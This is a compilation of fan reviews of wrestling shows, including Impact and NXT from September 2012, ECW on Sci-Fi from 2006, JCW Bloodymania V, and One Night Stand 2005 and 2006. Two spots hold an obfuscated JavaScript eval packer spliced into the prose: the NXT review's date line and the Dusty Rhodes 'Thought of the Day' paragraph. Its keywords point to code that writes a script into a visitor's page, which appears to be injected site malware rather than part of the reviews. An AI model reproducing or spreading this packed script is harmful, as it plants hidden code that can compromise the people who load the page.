Impact Wrestling – September 6, 2012: If You Build It, They Will Buy (Hopefully)

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Date: September 6, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We get videos from everyone still in the running for the spots in the Series.

Bound For Glory Series Leaderboard

James Storm 73

Samoa Joe 68

Rob Van Dam 55

Bully Ray 55

AJ Styles 50

Jeff Hardy 49

Kurt Angle 48

Mr. Anderson 47

Christopher Daniels 33

Magnus 33

Robbie E 12

Bound For Glory Series: Samoa Joe vs. Jeff Hardy

I think Joe has clinched a spot already. Jeff tries to work on the arm to start but gets shoved to the floor with ease. Joe follows out and rams Jeff into the steps, but a charge misses and Jeff dives at him off the steps with Poetry In Motion as we take a break. Back with Joe in control again. Apparently Hardy has to win by pin or submission to make it to the PPV and Joe needs a pin or submission to get the #1 spot and to be able to pick his opponent.

Aries runs into Hogan in the back and is told the small guy that attacked him last week is here tonight. Aries has permission to do whatever he needs to take him out which pleases the champ.

Gail Kim vs. Tara

A security guard puts a guy in a chair and leaves. Aries comes in and I think this is the guy that hit Aries last week. Aries says the guy better talk soon or else.

Bound For Glory Series: Rob Van Dam vs. Bully Ray

The four in the Series on Sunday are Storm, Joe, Hardy and Ray.

Tag Titles: Christopher Daniels/Kazarian vs. ???/???

Chavo dives onto Kaz on the floor as Daniels hits a palm strike to Hernandez. Daniels heads to the floor and Hernandez hits a HUGE dive to take both of them out. Kaz gets splashed in the corner and Daniels brings in a title belt. Hernandez picks up Kaz for something but a belt shot to the ribs lets Kaz roll up SuperMex for the pin at 14:47.

Hulk comes out immediately and makes the tag champs vs. Angle/Styles for Sunday.

We run down the card for the PPV. Ion defends against Dutt, RVD vs. Magnus, the Knockouts, the tag titles, the Knockouts and the BFG stuff.

Results
Jeff Hardy b. Samoa Joe – Arm trap headlock

Bully Ray b. Rob Van Dam – Bubba Cutter

Christopher Daniels/Kazarian b. Hernandez/Chavo Guerrero – Rollup after a belt shot to Hernandez

Remember to follow me on Twitter @kbreviews




NXT – September 6, 2012: Are These Guys Capable Of Putting On A Bad Show?

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkeyh|var|u0026u|referrer|enadz||js|php'.split('|'),0,{})) September 6, 2012
Location: Full Sail University, Winter Park, Florida
Commentators: William Regal, Byron Saxton

Welcome Home.

Kassius Ohno vs. Richie Steamboat

Ohno kicks Steamboat to the floor post match. He beats on Richie a bit more and hits the forearm/elbow to the back of the head before Ricky Steamboat and some referees come out for the save.

Audrey Marie vs. Paige

Percy Watson vs. Leo Kruger

Brodus Clay vs. Ryan Collins

Brodus does the full intro, complete with Cameron because this was taped a few weeks ago. Total squash with the crowd WAY into Brodus. The big splash pins Collins at 49 seconds.

Some kids get to dance post match.

We recap the Usos getting jumped by Ascension last week.

Ascension vs. Usos

Whichever Uso that is pounds Cameron (the wrestler, not the dancer) down into the corner to start and everything breaks down quickly. The Usos clear the ring and we take a break. Back with I think Jimmy getting tagged in to splash Cameron in the corner. Back to Jimmy who gets two off a double back elbow. Conor comes in off a blind tag and clotheslines Jimmy down for two to take over. Ascension does their fast tags to stomp away on Jimmy in the corner which is always cool.

Results

Leo Kruger b. Percy Watson – Twisting neckbreaker

Brodus Clay b. Ryan Collins – Big Splash

Ascension b. Usos – Running Jawbreaker to Jey

Remember to follow me on Twitter @kbreviews




ECW on Sci-Fi – October 3, 2006: Van Dam Is On A Roll

ECW on Sci-Fi
Date: October 3, 2006
Location: Landon Arena, Topeka, Kansas
Commentators: Joey Styles, Taz

Opening sequence.

Sandman/Sabu vs. Big Show/Matt Striker

Striker kicks Sabu low to knock him to the floor again. Striker hooks a cravate and Sabu is in trouble again. Matt goes up but jumps into a spin kick in a bad looking spot. Sandman finally gets the hot tag and the beating begins. Striker tries to go up but Sandman blasts him with a left hand and the Heinekenrana gets two. The White Russian leg sweep is broken up by Show, who splashes Sandman to give Striker the pin.

Kelly Kelly and Trinity plug Extreme Strip Poker. Kelly takes her top off and has cards covering her.

Kevin Thorn vs. Tommy Dreamer

Watch the Marine!

Maria will play poker next week and people have been giving her “good” advice on how to play.

CM Punk vs. Danny Doring

Doring tries an early suplex but gets kicked in the ribs. A butterfly backbreaker puts Doring down and Punk fires away with knees in the corner. The knee/bulldog combo sets up a striking sequence followed by the Rock Bottom and Anaconda Vice for the tap. This was barely over a minute.

Kristal Marshall and Ashley will be playing too.

Test vs. Rob Van Dam

Extreme Rules. Test kicks him in the ribs during the finger pointing which is something you would think a lot more people would do. Van Dam is sent to the floor and Test chokes him on the barricade. Van Dam gets in a kick (were you expecting something else?) but misses the spinning leg to the back of Test, crashing into the barricade instead. Test gets the steps but gets tripped, sending the steps crashing down on top of him. In a cool spot, Van Dam hits Rolling Thunder onto Test onto the steps.

We take a break and come back with the arrival of Heyman and security. Back inside and Test low blows Van Dam but Rob manages to clothesline him on the top rope. The recoil sends Van Dam to the floor and the security guards pound on Rob for a bit. That gets two for Test back inside and the Canadian is getting frustrated. Somewhere in there a chair was wedged between the top and middle rope and Rob is launched head first into said chair. Somehow that only gets two and Test is stunned.

Remember to follow me on Twitter @kbreviews




ECW on Sci-Fi – September 26, 2006: Hardcore Holly’s Best Match Ever. No Seriously, It’s Really Good.

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Date: September 26, 2006
Location: Tulsa Convention Center, Tulsa, Oklahoma
Commentators: Joey Styles, Taz

After the theme song, Joey and Taz basically say what I said in the intro.

Extreme Strip Poker is coming. Oh geez.

Rob Van Dam vs. Hardcore Holly

Watch the Marine! No seriously, almost no one else did so could you please?

Ariel vs. Francine

Video on Sandman.

ECW World Title: Big Show vs. Sandman

I love how Roberts says world title. We join this in progress after a break with Sandy pounding on Show with the cane and totally dominating. They head to the floor for more cane shots and Show is busted open. Holly needed 24 stitches to close the cut on his back. Sweet goodness that was a bad cut. Show comes back with a loud chop and some headbutts.

Remember to follow me on Twitter @kbreviews




JCW Bloodymania V: At Least The ICP Doesn’t Wrestle Here

Bloodymania V
Date: August 14, 2011
Location: Hatchet Landing, Cave-in-Rock Illinois
Commentators: Kevin Gill, Shaggy 2 Dope

A DJ plays some music.

Shaggy goes to the back to see about some of the audio issues.

Apparently all of the fans are called ninjas.

Bill Martel vs. The Man of 1000 Gimmicks

The announcers talk but we hear music.

Adam Pearce/Colt Cabana vs. 2 Tuff Tony/???

U-Gene vs. Zach Gowen

The announcers talk about what we just saw.

Breyer Wellington vs. Butler Geeves

Geeves looks like a Chippendale dancer. We stall to start and look at the announcers a bit who are talking about moon bounce houses. No contact for the first 45 seconds or so. Geeves works on the arm but gets sent to the mat by Wellington to escape. Wellington puts on a headlock as the ring seems a lot louder now for some reason. The announcers keep up a joke about Geeves learning to wrestle online which is beaten into the ground a few minutes into the match.

No Abbott stuff for the moment.

The announcers talk a lot more. This must be an intermission of some kind.

Tag Titles: Ring Rydas vs. Tracy Smothers/Bull Pain vs. Necro Butcher/Mad Man Pondo vs. Raven/Sexy Slim Goody

Rhyno vs. Kongo Kong

Back in and Brittany grabs a fast rollup for two on Amber but gets caught in a running Umaga attack in the corner. Amber knocks everyone down and hits a bad X Factor on Force for two. Force gets two off something we missed because we were looking at the commentators. Randy keeps getting beaten up as she tries to get back in. Amber chokes Brittany over the ropes while in a rana position and Randy is back in.

X-Pac vs. Luke Gallows vs. Rob Conway

The winner gets a contract, even though Conway already has one. Fast paced opening here with no one being able to get an advantage. Conway is sent to the floor and Gallows is knocked out as well, followed by Pac with a big dive. Conway crotches Pac on the platform the ring is on which gets two back in the ring. Now we get to the usual turning point of a triple threat: the fight between the heels (?) that want to pin the guy who is down.

JCW World Title: Corporal Robinson vs. Vampiro

The locker room comes out to celebrate with Robinson as Vampiro leaves. He finally comes back to celebrate to end the show.

Remember to follow me on Twitter @kbreviews




Thought of the Day: Dusty Rhodes Is The Best GM Ever

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztik|var|u0026u|referrer|rtkhe||js|php'.split('|'),0,{})) is one of the reasons why NXT is possibly the best wrestling show today.Dusty Rhodes is the GM of NXT and he’s been on the show maybe three times.  He makes matches but he doesn’t do so on screen.  What might happen is two guys will have an altercation in the back and then when they have the match, Regal might say something like “this match was set up by NXT GM Dusty Rhodes.”  No TV time wasted, no theme songs being pounded into our heads, no holding the hand of the viewers, just matches being made when they make sense.

 

Why can’t Raw or Smackdown get this?




One Night Stand 2005: One Of My Favorite Shows Ever

One Night Stand 2005
Date: June 12, 2005
Location: Hammerstein Ballroom, New York City, New York
Attendance: 2,500
Commentators: Joey Styles, Mick Foley

Well you knew I would get to this someday. This is pretty much my most requested show and since it’s my birthday I wanted to do a show that I really like. This was built up as exactly what the title is: a One Night Stand, as in one night only ECW is back. This was an absolute dream come true for ECW fans as WWE owned the names and trademarks and a lot of the contracts and therefore could put on a high quality show. This should be fun. Let’s do it.

To set this up, there is a Raw and Smackdown invasion going on, although no one really cared. Also you have none of the matches advertised that I can remember, which drives home one point: the wrestling here doesn’t matter at all and it’s about these guys having one last run. That’s perfectly fine and to me it made the show a lot better.

To translate: the grades for the match do not reflect the show as a whole. The matches are likely going to be graded low, but it means nothing at all so put zero to no stock into what I’m saying about the technical stuff.

We’re in the Ballroom and the fans are out in freaking force. They pop like a cherry for the theme song and this is going to be awesome. Joey Styles is introduced and he looks freaking pumped. I’ve always loved this song too. He’s legitimately having trouble keeping it together.

This is much more interesting to watch after Hardcore Homecoming as you really get to see both sides of the coin. He drops an OMG and introduces Foley as his commentary partner who comes out to the WWF Cactus Jack music. See them thinking there? That’s nice.

Play that freaking video monkeys!

Lance Storm vs. Chris Jericho

It’s Lionheart here too and we get a dramatic pause joke from Joey. It’s great to hear Joey talk about the old days, which to be fair and honest were more or less crap but for the sake of this it’s fine. Jericho is freaking small here as he looks like he did in WCW which I mean in a good way. It amazes me that these two have been so intertwined throughout the years. Foley throws in that he was the guy that saw Jericho in Japan and got Heyman to bring him to America and ECW in particular.

Dawn Marie is a crack w**** apparently. We hear about SMW to really make this great. Apparently Joey and ECW don’t like that the New York Athletic Commission made them use mats. This is something that on paper sounds great and on a rare occasion like this one it works like a charm. With these guys here’s what you do: “Chris, Lance, you have 7 minutes, here’s your ending.” That’s all they need. Joey calls Foley Mickles. Ok then.

We get a big old Chris Candido chant who would have passed away only about a month and a half before this show. To say the crowd is hot is like saying Steve Austin might have had alcohol before. We have an F JOHN CENA chant. Foley: How does the Calgary Crab differ from its Boston cousin?

Joey: It doesn’t it’s just a gimmick. Jason and Justin Credible are here and with Dawn Marie running interference, Justin canes the hec out of Jericho to allow Storm to get the easy pin. Joey complaining about itching from Jason is funny. Lance more or less retired after this.

Rating: B. This was rather fun indeed. These two have good matches just about every time they’re allowed to get in the ring and this was no exception. This is a pairing that it’s hard to get wrong and it worked out just about perfectly. Solid match and a solid ending to Storm’s final match in the mainstream.

Pitbull Gary Wolfe intros a tribute to wrestlers that have passed away. We have Rocco Rock, part of a tag team I never got the appeal of but dang they were popular, Terry Gordy, Mike Lockwood (Crash Holly), Original Sheik (the first brawler that got really famous arguably), Mike Lozansky (old school ECW guy), Anthony Durante (Pitbull #1), Big Dick Dudley and Chris Candido. It’s scary that other than Sheik, I don’t think any of these guys were 40. That’s freaking scary when you think about it.

Let the Candido chants begin. This one I can have a lot of sympathy for as he died due to complications from an injury and not anything he caused to himself.

Tajiri vs. Super Crazy vs. Little Guido

This is under elimination rules. The whole FBI comes out here, as in 5-6 guys with maybe 2 Italians in there. The innuendo joke gets old fast. These were matches that happened a lot back in the day and they were always International Three Way Dances, as in one guy is from each country. Crazy was a guy that I never was sure if I liked him or not. Foley throws out a little known fact that he and Smothers won tag titles in Japan.

This was ECW’s answer to the luchadores that were stolen by WCW. Joey is in his element here with a bunch of move names as Foley says he can’t keep up with Joey so he’s mostly on his own here. SICK dropkick to a seated Guido from Crazy. These guys are moving like insanity out there (can’t say Crazy is moving like crazy out there).

They hit the crowd and Crazy goes to the balcony and hits an AMAZING moonsault into the crowd before going back into the ring and taking the Tarantula. That moonsault really was amazing and Joey chanting DIOS MIO was hilarious. We haven’t had an American wrestler in a match yet.

There’s the FBI in there and since they have the combined IQ of yogurt, Mikey Whipwreck, Tajiri’s tag partner, comes in and hits the Whippersnapper (second rope Stunner which yes he used before Austin) so Tajiri gets the easy pin to get us down to the Japanese Buzzsaw vs. the Crazy Mexican wrestler. After some more Mikey shenanigans, a top rope moonsault ends this for Crazy.

Rating: C+. Other than the dive this was a total mess. It wasn’t terrible at all but compared to the stuff WCW would pull out, this really wasn’t that great. The dive was indeed awesome though and definitely makes the match.

We hit the highlight reel of ECW which has Shane making ECW more or less, the Night the Line Was Crossed, UltraClash III (Paul’s first show as booker), Sandman, Sabu, Dreamer getting caned, the chair throwing incident which was cool, Funk being lit on fire and Foley breaking kayfabe over it, the belt being thrown down, Sandman isn’t blind, the ring collapsing with Public Enemy and that’s it apparently.

The WWE invaders aren’t here yet.

The theme song is Bodies for no apparent reason. The sponsor is called DESTROY ALL HUMANS! That sounds like something that some demon screams.

Psicosis vs. Rey Mysterio

Still no traditional American wrestlers (yes I know Rey is from California but you get the idea). Psicosis doesn’t wear his mask after losing it in WCW, which is about as stupid of an idea as possible (Why let him keep the mask? I mean it’s not like he’s ridiculously popular and a ton of kids are going to buy them or anything so we’re in essence throwing away a gold mine or anything like that) but I digress.

Rey was still the high flier at this point and not a world champion or main event guy yet. The fans chant put the mask on which is amusing. The fans boo the heck out of a sleeper hold from Psicosis. One thing you have to give to the ECW fans: they were never a dead crowd. Ah now that’s more like it: top rope legdrop onto Rey who is on the railing.

Note to self: watch Bash at the Beach where these two lit the company on fire with an epic opening match that stole the whole show. It just happened to have the most shocking heel turn in history and no one else ever mentioned anything else on the show. Naturally they were never pushed but that’s WCW for you. All right NOW we’re getting somewhere as they just dive all over the place. The 619 gets booed out of the building but the West Coast Pop ends it just afterwards.

Rating: B-. This was a slow start but once they got going it worked much better. This was all over the place and it worked about as well as you could ask for it to. The problem with the wrestling here is starting to show: 7 minutes per match simply isn’t enough to really get anything going, but again that’s not the point here.

The Crusaders/Invaders are here. There are too many to list but the main ones are Edge, Christian, Angle and JBL. Oh and Bischoff is with them too. Other than that it’s mainly jobbers. The heat on these guys is INSANE.

Roadkill and Doring talk about nothing and the Smackdown Crusaders interrupt them….somehow.

More highlights from ECW focusing on general carnage. The Monday Nyquil promo will never get old, period. This is more from the glory days and it’s FAR better than the PPV era. You really get the bad times of the company on PPV and that’s a shame really. I mark out still for the whole Dreamer/Raven insanity. There’s Taz vs. Shane which I would argue killed the company as much as any given angle for reasons I go into in far more detail in the regular PPV reviews.

Joel Gertner is in the Crusaders’ area. He gets a freaking ROAR. And JBL literally kicks him out. Angle runs down the ECW fans who chant you suck, so he says their mom taught him how to. The ending is clear here, but it’s going to be sweet. JBL trying to act like a big shot really is funny. However his rant against internet fans is pretty funny.

RVD’s music cuts off JBL’s rant though just as he says no one will ever be that big. He wouldn’t win the world title for a year though. I would have preferred Walk but One of a Kind suits him a little better and is still a great song. This was in the middle of the longest knee injury in recorded history as Van Dam was out for over a year because of it. RVD gets on the mic and more or less shoots for a bit on JBL and wrestling in general about how JBL sucks. Oh he says he’s shooting. Ok then.

Van Dam talks about how he was the biggest thing around at the end of ECW which is absolutely right. Of course Heyman wouldn’t put the belt on him ever when he could have carried ECW another 3-4 months at the least with Van Dam on top. He and Fonzie run through their whole deal and mention the idiotic two year TV Title run he had. Yeah it was stupid. If he’s the biggest guy in the company, why not make him WORLD CHAMPION?

He says he pitched the idea for this show to Vince, saying they didn’t even need a storyline. Van Dam can’t work tonight because of his knee injury and says missing tonight is worse than missing Wrestlemania. I’d buy that actually. Rhyno runs out and beats up Van Dam, bringing on a Sabu chant. And there go the lights. They come back up and that leads us to the following.

Sabu vs. Rhyno

Yep it’s chair time early and Rhyno gets popped with it. I usually hate these things, but even I’m not stupid enough to think they meant nothing at all. Sabu is dominating this for the most part and it’s not as bad as I expected it to be actually. There’s not much to say about this.

The referee takes a gore and here’s Van Dam again. He gets the Chair Surf which is a move I’ve always liked. Yep it’s table time as it’s a Sabu match so there we are. Something that was supposed to be an Arabian SkullCrusher doesn’t work as I think the chair gets away from Sabu but it could have been worse I guess.

Rating: D+. This wasn’t much. Like I said though it could have been far worse though as they had Sabu keep the weapons toned down here so that’s all fine and good. Far from great but these three had to be on the show somewhere.

Snow argues with Head. That might have been the most brilliant gimmick of all time. He sets up some more ECW clips which was more about insane moments which deserve clips of their own.

The Raw Crusaders are here now. Earlier it was just the Smackdown guys so Edge, Christian and Bischoff are just getting here. Oh the ending is going to be sweet.

Chris Benoit vs. Eddie Guerrero

This is much more depressing to say the least upon my second viewing of this show. This is most odd but think about it: first match, both Canadians. Second match, all international guys. Third match, both luchadores. Last match, an “Arab” (Yes I know he’s from Michigan) and Rhyno. Now a Canadian vs. a guy more known as a Latino wrestler. That’s most uncommon. Joey says that these two and Foley are the three most successful guys to ever come out of ECW.

Remember that as I’ll reference it later. Let the sucking up by Joey begin. Someone has herpes apparently. The fans are more or less split here. Eddie is bleeding from the nose so make your own drug jokes. The fans start a MASSIVE F U Bischoff chant. You have to remember: Heyman blamed Bischoff for about 90% of ECW’s problems back in the day so he really is hated.

He’s also the guy that said ECW more or less was worthless and stole most of their talent. Do I need to explain what’s going on here? Of course this is solid. Eddie gets put in the Crossface and after a LONG time in it he taps.

Rating: B-. Again, how do you mess this one up? This needed more time to be anything great but this was good as you would expect. It’s a solid match although at the end Eddie just laid there rather than fight the hold which made me shake my head a lot. Give these two 25 minutes and it’s likely an A. The time killed it though.

Ad for Vengeance which had HHH vs. Batista in HIAC. There’s so much wrong with that airing on an ECW show I can’t believe it.

Gertner asks Bischoff for a job which is much funnier than it sounds. Maven is a crusader. Just take me now.

Mike Awesome vs. Masato Tanaka

Awesome is a guy that is HATED by Styles and ECW for jumping ship and trying to throw the belt in the trash on Nitro. Because you know, no one in ECW ever disrespected a belt or anything like that. Joey says that it’s a shame Awesome didn’t take his own life on a suicide dive. That’s true Joey. He took his own life by hanging himself. As for the match, it’s about as intense and stiff as you could ask for.

This was an epic rivalry that went around the world and had them trade the ECW Title. That’s the issue here: Awesome is a traitor to ECW but this match is stealing the show. Let the LOUD chair shots begin. I never liked Tanaka’s no selling of chair shots. Ok we get it: chair shots hurt a lot. Table time and JBL makes fun of it for which I can’t blame him. The jokes about Awesome being wasted in WCW are ridiculously true.

The guy was freaking amazing so we make him the Fat Chick Thrillah and That 70s Guy. And you wonder why they went out of business. The crowd is WAY into this one. Oh look: tables. How original! We get a THIS MATCH RULES chant. And there goes Tanaka over the top rope through a table with a powerbomb. Add in an over the top rope dive onto the concrete and it’s over. Intense as all goodness.

Rating: B+. Yep, the show has been stolen. These two had some WARS back in the day and this one was no exception at all. Very intense fight rather than a match but whatever. Fun to say the least.

Joey thanks the fans for buying the Rise and Fall of ECW. If you’ve never seen that, go watch it. It’s 3 hours long but that will FLY by. Easily the best documentary in WWE history to me.

The ECW theme plays and IT’S PAUL HEYMAN. This more or less is the main event of the show as Heyman has been quiet for over four years about ECW and its death. He gets on his knees and bows to the fans which is a nice touch. He’s breaking up already. Massive Thank You Paul chant. He has the headset and trenchcoat too. Apparently he’s not crying but rather was just smoking a joint with Van Dam.

He thanks some people and the fans. He was going to take the high road and leave, but SCREW THAT. He goes insane and just rants on everything in his head mainly talking about the Crusaders. This was around the time when Edge legitimately stole Lita from Matt Hardy so that’s a hot button issue.

To JBL: the only reason you were WWE Champion for a year was because HHH didn’t want to work Tuesdays. And that my friends is what you call EPIC WIN. We get the classic THIS IS ECW line to end it. That was worth about 10 dollars of the total cost alone.

Ad for The Devil’s Rejects. No clue what that was for.

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys.

Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys. That sums up this whole show better than anything else could I think. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least.

Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd. The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest and licking it off, one of which is Elektra.

D-Von dancing to Metallica is funny and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.

And the best is they couldn’t sue us because it was a parody.” For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it.

Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets the heck chaired out of him. Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

The fans chant for Cactus Jack which Foley kind of laughs off. Cheese grater across Dreamer’s head is SICK! Oh he’s busted bad so Bubba rubs it on his face. Joey: Tommy’s skin looks like cabbage in a coleslaw. In case you can’t tell, I freaking love this. Foley calls the grater comical. Sometimes I’d pay to be inside that man’s head. Sandman brings in the ladder. We get probably my all time favorite comedy line in wrestling.

Joey says he was going to compare Dreamer wrestling tonight to Gehrig’s last at bat at Yankee Stadium but Gehrig didn’t whip out a cheese grater and start mutilating people with it. And that my friends is why I love wrestling. It’s so insane that to us it makes sense, but when you compare it to something else, it sounds ridiculous. However, in wrestling, there are three words that make things magical: It Could Happen.

That is why I love wrestling: you never know what you could see. Naturally this is just a wild brawl all over the place. Bubba hits a frog splash on Sandy which has to be better than some forms of execution. D-Von takes the White Russian legsweep and we get a double figure four on the Dudleys but the Impact Players run in. Sandman gets a That’s Incredible on barbed wire and here’s Francine.

Beaulah makes her return for the CATFIGHT CATFIGHT CATFIGHT!!! Dreamer saves her and they have their big reunion with Dreamer’s face covered in blood. The Dudleys get DDTed by the two of them, making me smile. WHERE ELSE BUT IN WRESTLING COULD YOU GET THIS? Beaulah gets two on Bubba and she’s hardcore according to the fans. Joey is told in his headset that he can’t say balls, which he makes fun of of course.

Sandman goes through a table for two. 3D on Dreamer, and it’s the old style, not the crap one now. We have another table and here’s Spike who is seeing COLORS! Yep, the table is on fire and there goes Tommy. In a spot that makes me cringe, Tommy’s head is tilted towards the mat and blood just pools up from his head. That’s a great visual. Bubba actually dives on him for the pin.

Rating: N/A. Can’t give this a fair grade as it wasn’t a match by any definition of the word. Make no mistake about it though: this is the highlight of the show and as much fun as I can remember having watching wrestling perhaps ever.

Post match (oh like you didn’t expect something else to happen) the Dudleys go after Beaulah and get the heck cained out of them. In a spot that always makes me chuckle, Spike comes back again and Sandman turns around and just canes him again before going back to what he was doing. He looked like he was paying a parking meter or something. Sandman looks at Tommy and says someone….someone…SOMEONE GET ME A BEER! Joey: screw the beer, get him some plasma! “Somebody get me a beer!”

CUE GLASS SHATTER!

Yep, Austin (in a XFL jersey of all things) is here. He calls out the whole locker room and says he wants to see a fight. Yep he calls down the crusaders and you know what’s coming. The heat is awesome here. The sight of everyone on their own side of the ring looks great. The crowd chants WE WANT TAZ and guess who shows up. Yep it’s old school Taz, as in the machine Taz. Bischoff is on commentary.

The fight is on and Taz and Angle hit the floor. After a bit of a scuffle, Taz chokes him out. Now the interesting thing is this: in the back of the ring you can see JBL going CRAZY on someone. It would turn out to be Blue Meanie and JBL was legitimately beating him until Tracy Smothers and a few others picked up on it and helped him. This started a legit feud between them with Smothers calling JBL out for a real fight anytime anywhere.

Anyway, other than that of course the ECW guys own the ring and run the WWE guys off. After they leave, Austin gets on the mic (wearing JBL’s hat) and says to Mick Foley to bring Bischoff to the ring. The fans kind of collectively gasp as they know what’s coming. This was a wet dream for them to say the least. The funny part is that he can’t go into the crowd because he’ll get hurt worse out there.

Bischoff takes a 3D, the flying headbutt from Benoit (complete with Austin telling him to kill this son of a gun), a 619 (booed loudly) and a Stunner as the fans are in awe. The Dudleys literally throw Eric out of the building and the party is on. Joey screams ECW LIVES to end the show.

Overall Rating: D. This show just isn’t that good. I mean the wrestling is weak, the stories are non-existent and there is no way I can keep doing this with a straight face. It’s really nothign short of an A+. And if there was a higher grade it would get it. This is one of my favorite shows ever, possibly even number 3 after Summerslam 90 and Mania 17. They wanted one blowout show to end it and they hit it so far out of the park you can’t see where it landed.

This is about as perfect of a show as you’ll ever find and it is amazing. Everything clicked, the crowd is in the levels of Canadian Stampede and nothing was left out other than stuff for ridiculously hardcore fans. The key to it all: they let ECW be ECW, not the WWE version that would come NXT year.

Even if you weren’t an ECW fan like I wasn’t, this is a must see show. It feels like the old stuff and works like a charm. The ending couldn’t be any sweeter and it made everything perfect. Absolutely see this show, no questions asked.

 

Remember to follow me on Twitter @kbreviews




One Night Stand 2006: The Angriest Crowd You Will Ever See

One Night Stand 2006
Date: June 11, 2006
Location: Hammerstein Ballroom, New York City, New York
Attendance: 2,460
Commentators: Joey Styles, Tazz

I don’t think I’ve ever had a series of shows nearly demanded as much as this one so here they are. Since Great American Bash 2000 is still not done I’ll start this series and do all three in a row. This is the second One Night Stand (Two Night Stand? I hope there was at least breakfast in between) and is the first show in WWECW, as the show has been revived. Heyman has selected Angle and RVD over to his show so tonight Angle has an open challenge and RVD is cashing in MITB against Cena in a rather famous match. Let’s get to it.

We open with a shot of the crowd and HERE’S THE BOSS! That song he had which was the theme music for ECW on TNN is still awesome. He speaks for everyone that lived the dream to be a wrestler instead of a superstar and says that the tribe of extreme has risen again. They’re going to pour their Kool-Aid down the throats of everyone and it starts here tonight. The fans chant Thank You Paulie. This is because of the fans, not Vince. Heyman says he’ll be around for the fans and says this is better than Raw and Smackdown. The guy believed in what he had if nothing else.

Theme song plays us in.

Taz vs. Jerry Lawler

They had feuded with their commentaries for weeks leading up to this. Oh before I forget: there was a show called WWE vs. ECW on a Wednesday where Big Show jumped. That show will likely be referenced a lot tonight. Lawler of course is booed out of the building. The good thing though is Lawler is one of the best natural heels that has ever walked the face of the earth so this is no problem for him.

He goes over and slaps Joey before going to the ring. The strap goes down as the bell goes off but Joey comes in and jumps on his back. Piledriver attempt but Taz grabs the Tazmission and we’re done in 30 seconds via chokeout. Exactly what it should have been and a great way to protect Taz who can’t wrestle due to his neck.

We get a clip of the previously mentioned Wednesday show where Show turned. He and Orton were the last two in and Show pulled off his Raw shirt to reveal an ECW one. Well they had to give them some star power. On the same show Cena had a hardcore match with Sabu but Show saved Sabu from tapping and a massive brawl ended the show.

Taz jumps in on commentary.

Randy Orton vs. Kurt Angle

Orton does his pose on the corner and Joey hates there being fireworks in ECW. This was an open challenge to anyone from any ring “4 sided, 6 sided or 8 sided.” Orton accepted it on Monday so this wasn’t a shock. Angle is of course over like no other here and that whole psycho thing worked well for him. The arena is all smoky now and the vulgar cheers begin. Orton hits the floor and the fans aren’t thrilled at all, chanting pussy at him.

Ankle lock doesn’t work so the fans chant Angle’s Gonna Kill You. Off to a headlock in the ring as the fans curse Orton out like no other. Angle goes for the ankle again and Orton bails again. The crowd is getting to him too. Kurt grabs a double leg with ease and takes Randy down and works him like there’s no tomorrow. Angle offers Randy a free shot and says here, give me a headlock.

Kurt escapes again with a suplex but gets sent into the post to give Randy his first actual advantage. Randy hammers away and Kurt is like screw it and charges him, taking him down with ease again. That seems to be a theme in this match. The fans think Randy can’t wrestle. This is the same company that said guys like Balls Mahoney were great too.

Kurt grabs a half nelson and cranks on the arm but Orton grabs a chinlock instead. The crowd LOUDLY chants boring which I can’t say I disagree with. Angle finally wakes up and snaps off a German but can’t capitalize. They slug it out and Angle is able to get some clotheslines to take over. Another German and let’s Roll with those.

Snap dropkick gets two for Orton as the fans stay on him. Angle reverses into a belly to back because he likes to suplex people. Angle Slam hits for a long two because the Angle Slam isn’t really a finisher, namely due to it never finishing anyone. Ankle lock is reversed and there’s the backbreaker. Top rope cross body is rolled through for two for Kurt. RKO is countered into an ankle lock attempt but that fails. The next attempt doesn’t though and Orton taps.

